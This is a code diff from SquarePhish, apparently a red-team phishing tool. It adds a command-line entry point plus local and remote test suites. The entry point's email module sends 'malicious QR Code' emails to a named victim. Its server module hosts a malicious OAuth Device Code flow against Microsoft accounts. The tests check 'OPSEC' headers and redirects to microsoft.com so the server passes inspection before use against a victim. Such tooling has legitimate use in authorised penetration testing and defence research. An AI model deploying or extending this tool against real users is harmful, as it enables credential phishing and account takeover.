logging.addLevelName(logging.WARNING, LoggingLevels.WARNING)
|
||||
logging.addLevelName(logging.DEBUG, LoggingLevels.DEBUG)
|
||||
logging.addLevelName(logging.ERROR, LoggingLevels.ERROR)
|
||||
logging.addLevelName(logging.INFO, LoggingLevels.INFO)
|
||||
@@ -0,0 +1,269 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import sys
|
||||
import urllib3
|
||||
import logging
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
from configparser import NoOptionError
|
||||
from configparser import DuplicateOptionError
|
||||
from squarephish import utils
|
||||
from squarephish.__init__ import __title__
|
||||
from squarephish.__init__ import __version__
|
||||
from squarephish.cfgparser import CustomConfigParser
|
||||
from squarephish.modules.server import app
|
||||
from squarephish.modules.server import init_app
|
||||
from squarephish.modules.qrcode import QRCodeEmail
|
||||
from squarephish.modules.emailer import Emailer
|
||||
|
||||
# Disable insecure request warnings
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
app_info = f"{__title__} -- v{__version__}"
|
||||
|
||||
|
||||
def parse_args() -> argparse.Namespace:
|
||||
"""Parse command line arguments"""
|
||||
|
||||
parser = argparse.ArgumentParser(description=app_info)
|
||||
|
||||
# Create a parent parser and add common arguments before setting up the subparsers
|
||||
parent_parser = argparse.ArgumentParser(add_help=False)
|
||||
parent_parser.add_argument(
|
||||
"-h",
|
||||
"--help",
|
||||
action="store_true",
|
||||
help="show this help message and exit",
|
||||
)
|
||||
parent_parser.add_argument(
|
||||
"-c",
|
||||
"--config",
|
||||
type=str,
|
||||
default="settings.config",
|
||||
help="squarephish config file [Default: settings.config]",
|
||||
)
|
||||
parent_parser.add_argument(
|
||||
"--debug",
|
||||
action="store_true",
|
||||
help="enable server debugging",
|
||||
)
|
||||
|
||||
# Create a subparser to handle 'email' and 'server' modules
|
||||
subparsers = parser.add_subparsers(
|
||||
title="modules",
|
||||
dest="module",
|
||||
required=True,
|
||||
)
|
||||
|
||||
# Create 'email' parser
|
||||
email_parser = subparsers.add_parser(
|
||||
"email",
|
||||
parents=[parent_parser],
|
||||
add_help=False,
|
||||
help="send a malicious QR Code email to a provided victim",
|
||||
)
|
||||
email_parser.add_argument(
|
||||
"-e",
|
||||
"--email",
|
||||
type=str,
|
||||
help="victim email address to send initial QR code email to",
|
||||
)
|
||||
|
||||
# Create 'server' parser
|
||||
server_parser = subparsers.add_parser(
|
||||
"server",
|
||||
parents=[parent_parser],
|
||||
add_help=False,
|
||||
help=(
|
||||
"host a malicious server QR Codes generated via the 'email' module will "
|
||||
"point to that will activate the malicious OAuth Device Code flow"
|
||||
),
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
# Validate args
|
||||
if args.module == "email":
|
||||
if args.help:
|
||||
email_parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
if not args.email:
|
||||
parser.error("the following arguments are required: -e/--email")
|
||||
sys.exit(1)
|
||||
|
||||
if args.module == "server":
|
||||
if args.help:
|
||||
server_parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
# Validate the config file exists
|
||||
if not Path(args.config).is_file():
|
||||
parser.error("invalid file for arguments: -c/--config")
|
||||
sys.exit(1)
|
||||
|
||||
return args
|
||||
|
||||
|
||||
def parse_config(config_file: str, module: str) -> CustomConfigParser:
|
||||
"""Parse the provided configuration file
|
||||
|
||||
:param config_file: configuration file to parse
|
||||
:param module: executing module to validate config for
|
||||
"""
|
||||
try:
|
||||
config = CustomConfigParser(
|
||||
comment_prefixes="#",
|
||||
inline_comment_prefixes="#",
|
||||
)
|
||||
config.read(config_file)
|
||||
|
||||
except DuplicateOptionError as e:
|
||||
logging.error(f"Could not parse config file: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
# Validate sections
|
||||
if module == "email" and "EMAIL" not in config.sections():
|
||||
logging.error("Missing required config section: EMAIL")
|
||||
sys.exit(1)
|
||||
|
||||
if module == "server" and "SERVER" not in config.sections():
|
||||
logging.error("Missing required config section: SERVER")
|
||||
sys.exit(1)
|
||||
|
||||
# Validate the required data exists in the configuration file
|
||||
try:
|
||||
for val in utils.CONFIG_DEFAULT:
|
||||
if not config.get("DEFAULT", val):
|
||||
logging.error(f"Missing value for option '{val.lower()}' in section: 'DEFAULT'") # fmt: skip
|
||||
sys.exit(1)
|
||||
|
||||
if module == "email":
|
||||
for val in utils.CONFIG_EMAIL:
|
||||
if not config.get("EMAIL", val):
|
||||
logging.error(f"Missing value for option '{val.lower()}' in section: 'EMAIL'") # fmt: skip
|
||||
sys.exit(1)
|
||||
|
||||
if module == "server":
|
||||
for val in utils.CONFIG_SERVER:
|
||||
if not config.get("SERVER", val):
|
||||
logging.error(f"Missing value for option '{val.lower()}' in section: 'SERVER'") # fmt: skip
|
||||
sys.exit(1)
|
||||
|
||||
except NoOptionError as e:
|
||||
logging.error(f"Could not parse config file: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
# Parse template files here to identify valid/invalid files
|
||||
# Handle email module
|
||||
if module == "email":
|
||||
qrcode_template_file = config.get("EMAIL", "EMAIL_TEMPLATE")
|
||||
if not Path(qrcode_template_file).is_file():
|
||||
logging.error("Invalid QR code email template file")
|
||||
sys.exit(1)
|
||||
|
||||
# Update the value from file name to file contents
|
||||
with open(qrcode_template_file, "r") as f:
|
||||
config.set("EMAIL", "EMAIL_TEMPLATE", f.read())
|
||||
|
||||
if module == "server":
|
||||
devicecode_template_file = config.get("SERVER", "EMAIL_TEMPLATE")
|
||||
if not Path(devicecode_template_file).is_file():
|
||||
logging.error("Invalid device code email template file")
|
||||
sys.exit(1)
|
||||
|
||||
# Update the value from file name to file contents
|
||||
with open(devicecode_template_file, "r") as f:
|
||||
config.set("SERVER", "EMAIL_TEMPLATE", f.read())
|
||||
|
||||
# Validate cert files - if present
|
||||
try:
|
||||
if config.get("SERVER", "CERT_CRT") and config.get("SERVER", "CERT_KEY"):
|
||||
if (
|
||||
not Path(config.get("SERVER", "CERT_CRT")).is_file()
|
||||
or not Path(config.get("SERVER", "CERT_KEY")).is_file()
|
||||
):
|
||||
logging.error("Invalid server SSL certificate files")
|
||||
sys.exit(1)
|
||||
except NoOptionError:
|
||||
pass
|
||||
|
||||
return config
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print(utils.BANNER)
|
||||
|
||||
# Parse command line arguments
|
||||
args = parse_args()
|
||||
|
||||
# Initialize logging level and format
|
||||
utils.init_logger(args.debug)
|
||||
|
||||
# Parse config file
|
||||
config = parse_config(config_file=args.config, module=args.module)
|
||||
|
||||
# Initialize emailer object
|
||||
emailer = Emailer(config=config)
|
||||
|
||||
if args.module == "email":
|
||||
emailed = QRCodeEmail.send_qrcode(
|
||||
email=args.email,
|
||||
config=config,
|
||||
emailer=emailer,
|
||||
)
|
||||
|
||||
if not emailed:
|
||||
logging.error("Failed to send QR code to victim")
|
||||
|
||||
else:
|
||||
logging.info(f"Successfully sent email to: {args.email}")
|
||||
|
||||
elif args.module == "server":
|
||||
logging.info(f"Starting: {app_info}")
|
||||
init_app(
|
||||
config=config,
|
||||
emailer=emailer,
|
||||
)
|
||||
|
||||
# If SSL certs are defined, set Flask SSL context
|
||||
# Catch NoOptionError exceptions in case these values are not
|
||||
# defined in the configuration - they are not a hard requirement
|
||||
ssl_context = "adhoc"
|
||||
try:
|
||||
ssl_context = (
|
||||
config.get("SERVER", "CERT_CRT"),
|
||||
config.get("SERVER", "CERT_KEY"),
|
||||
)
|
||||
except NoOptionError:
|
||||
pass
|
||||
|
||||
try:
|
||||
app_port = int(config.get("SERVER", "PORT"))
|
||||
except ValueError:
|
||||
logging.error("Invalid server port defined in configuration")
|
||||
sys.exit(1)
|
||||
|
||||
app.run(
|
||||
host="0.0.0.0",
|
||||
port=app_port,
|
||||
threaded=True,
|
||||
use_reloader=False,
|
||||
ssl_context=ssl_context,
|
||||
)
|
||||
|
||||
else:
|
||||
logging.error("Invalid SquarePhish module")
|
||||
@@ -0,0 +1,111 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import unittest
|
||||
from squarephish.utils import HTTP_OPSEC_HEADERS
|
||||
from squarephish.cfgparser import CustomConfigParser
|
||||
from squarephish.modules.server import app
|
||||
from squarephish.modules.server import init_app
|
||||
|
||||
|
||||
class ServerTestCase(unittest.TestCase):
|
||||
"""SquarePhish Server Test Cases
|
||||
|
||||
These test cases are specifically designed to validate the OPSEC handling
|
||||
of the Flask server. No matter what, valid or valid request, the server
|
||||
should only include the custom response headers defined in utils.py and
|
||||
redirect away from our Flask instance to a Microsoft owned endpoint.
|
||||
"""
|
||||
|
||||
@classmethod
|
||||
def setUpClass(cls):
|
||||
"""Initialize Flask app"""
|
||||
# Parse the default config settings
|
||||
config = CustomConfigParser(comment_prefixes="#", inline_comment_prefixes="#")
|
||||
config.read("../settings.config")
|
||||
|
||||
# Initialize app
|
||||
init_app(config=config, emailer=None)
|
||||
|
||||
def setUp(self):
|
||||
self.app = app.app_context()
|
||||
self.app.push()
|
||||
self.client = app.test_client()
|
||||
|
||||
def tearDown(self):
|
||||
self.app.pop()
|
||||
|
||||
def test_server_headers_1(self):
|
||||
"""Server Headers 1: Valid request"""
|
||||
endpoint = "/mfa?email=test@test.com" # Default config endpoint
|
||||
response = self.client.get(endpoint, follow_redirects=False)
|
||||
for header, value in response.headers.items():
|
||||
# Skip non-customized headers
|
||||
if header.lower() in ["content-length", "location", "date"]:
|
||||
continue
|
||||
self.assertTrue(header in HTTP_OPSEC_HEADERS.keys())
|
||||
self.assertEqual(HTTP_OPSEC_HEADERS[header], value)
|
||||
|
||||
def test_server_headers_2(self):
|
||||
"""Server Headers 2: Invalid request"""
|
||||
endpoint = "/invalid"
|
||||
response = self.client.get(endpoint, follow_redirects=False)
|
||||
for header, value in response.headers.items():
|
||||
# Skip non-customized headers
|
||||
if header.lower() in ["content-length", "location", "date"]:
|
||||
continue
|
||||
self.assertTrue(header in HTTP_OPSEC_HEADERS.keys())
|
||||
self.assertEqual(HTTP_OPSEC_HEADERS[header], value)
|
||||
|
||||
def test_endpoint_valid(self):
|
||||
"""Valid Request"""
|
||||
endpoint = "/mfa?email=test@test.com" # Default config endpoint
|
||||
response = self.client.get(endpoint, follow_redirects=False)
|
||||
|
||||
# There is 3 scenarios that can happen if a valid endpoint is provided:
|
||||
# 1. The server can not reach microsoft.com
|
||||
# 2. The server gets an invalid response from microsoft.com
|
||||
# 3. The server succeeds and continues
|
||||
# All three scenarios will result in a redirect to the Device Code endpoint
|
||||
# of microsoft.com
|
||||
self.assertEqual(response.status_code, 302)
|
||||
self.assertTrue(response.location == "https://microsoft.com/devicelogin")
|
||||
|
||||
def test_endpoint_invalid_1(self):
|
||||
"""Invalid Request 1: Incorrect URL path"""
|
||||
endpoint = "/invlaid"
|
||||
response = self.client.get(endpoint, follow_redirects=False)
|
||||
|
||||
self.assertEqual(response.status_code, 302)
|
||||
self.assertEqual(response.location, "https://microsoft.com/")
|
||||
|
||||
def test_endpoint_invalid_2(self):
|
||||
"""Invalid Request 2: Missing GET parameter"""
|
||||
endpoint = "/mfa"
|
||||
response = self.client.get(endpoint, follow_redirects=False)
|
||||
|
||||
self.assertEqual(response.status_code, 302)
|
||||
self.assertEqual(response.location, "https://microsoft.com/")
|
||||
|
||||
def test_endpoint_invalid_3(self):
|
||||
"""Invalid Request 3: Incorrect GET parameter"""
|
||||
endpoint = "/mfa?username=test@test.com"
|
||||
response = self.client.get(endpoint, follow_redirects=False)
|
||||
|
||||
self.assertEqual(response.status_code, 302)
|
||||
self.assertEqual(response.location, "https://microsoft.com/")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
@@ -0,0 +1,122 @@
|
||||
# Copyright 2022 Secureworks
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
import urllib3
|
||||
import unittest
|
||||
import requests
|
||||
from squarephish.utils import HTTP_OPSEC_HEADERS
|
||||
|
||||
# Disable insecure request warnings
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
class RemoteServerTestCase(unittest.TestCase):
|
||||
"""SquarePhish Server Test Cases - Remote
|
||||
|
||||
This is a unittest for testing a running SquarePhish server remotely to
|
||||
validate OPSEC prior to execution against a victim.
|
||||
"""
|
||||
|
||||
SQUAREPHISH_PORT = 8443 # Populate this with the correct value when testing
|
||||
SQUAREPHISH_SERVER = "" # Populate this with the correct value when testing
|
||||
|
||||
def test_server_headers_1(self):
|
||||
"""Server Headers 1: Valid request"""
|
||||
if not self.SQUAREPHISH_SERVER:
|
||||
raise ValueError("Invalid SquarePhish server")
|
||||
|
||||
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
|
||||
endpoint = "/mfa?email=test@test.com" # Default config endpoint
|
||||
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
|
||||
|
||||
for header, value in response.headers.items():
|
||||
# Skip non-customized headers
|
||||
if header.lower() in ["content-length", "location", "date"]:
|
||||
continue
|
||||
self.assertTrue(header in HTTP_OPSEC_HEADERS.keys())
|
||||
self.assertEqual(HTTP_OPSEC_HEADERS[header], value)
|
||||
|
||||
def test_server_headers_2(self):
|
||||
"""Server Headers 2: Invalid request"""
|
||||
if not self.SQUAREPHISH_SERVER:
|
||||
raise ValueError("Invalid SquarePhish server")
|
||||
|
||||
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
|
||||
endpoint = "/invalid"
|
||||
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
|
||||
|
||||
for header, value in response.headers.items():
|
||||
# Skip non-customized headers
|
||||
if header.lower() in ["content-length", "location", "date"]:
|
||||
continue
|
||||
self.assertTrue(header in HTTP_OPSEC_HEADERS.keys())
|
||||
self.assertEqual(HTTP_OPSEC_HEADERS[header], value)
|
||||
|
||||
def test_endpoint_valid(self):
|
||||
"""Valid Request"""
|
||||
if not self.SQUAREPHISH_SERVER:
|
||||
raise ValueError("Invalid SquarePhish server")
|
||||
|
||||
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
|
||||
endpoint = "/mfa?email=test@test.com" # Default config endpoint
|
||||
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
|
||||
|
||||
# There is 3 scenarios that can happen if a valid endpoint is provided:
|
||||
# 1. The server can not reach microsoft.com
|
||||
# 2. The server gets an invalid response from microsoft.com
|
||||
# 3. The server succeeds and continues
|
||||
# All three scenarios will result in a redirect to the Device Code endpoint
|
||||
# of microsoft.com
|
||||
self.assertEqual(response.status_code, 302)
|
||||
self.assertTrue(response.headers["Location"] == "https://microsoft.com/devicelogin") # fmt: skip
|
||||
|
||||
def test_endpoint_invalid_1(self):
|
||||
"""Invalid Request 1: Incorrect URL path"""
|
||||
if not self.SQUAREPHISH_SERVER:
|
||||
raise ValueError("Invalid SquarePhish server")
|
||||
|
||||
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
|
||||
endpoint = "/invalid"
|
||||
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
|
||||
|
||||
self.assertEqual(response.status_code, 302)
|
||||
self.assertEqual(response.headers["Location"], "https://microsoft.com/")
|
||||
|
||||
def test_endpoint_invalid_2(self):
|
||||
"""Invalid Request 2: Missing GET parameter"""
|
||||
if not self.SQUAREPHISH_SERVER:
|
||||
raise ValueError("Invalid SquarePhish server")
|
||||
|
||||
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
|
||||
endpoint = "/mfa"
|
||||
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
|
||||
|
||||
self.assertEqual(response.status_code, 302)
|
||||
self.assertEqual(response.headers["Location"], "https://microsoft.com/")
|
||||
|
||||
def test_endpoint_invalid_3(self):
|
||||
"""Invalid Request 3: Incorrect GET parameter"""
|
||||
if not self.SQUAREPHISH_SERVER:
|
||||
raise ValueError("Invalid SquarePhish server")
|
||||
|
||||
url = f"https://{self.SQUAREPHISH_SERVER}:{self.SQUAREPHISH_PORT}"
|
||||
endpoint = "/mfa?username=test@test.com"
|
||||
response = requests.get(f"{url}{endpoint}", allow_redirects=False, verify=False)
|
||||
|
||||
self.assertEqual(response.status_code, 302)
|
||||
self.assertEqual(response.headers["Location"], "https://microsoft.com/")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||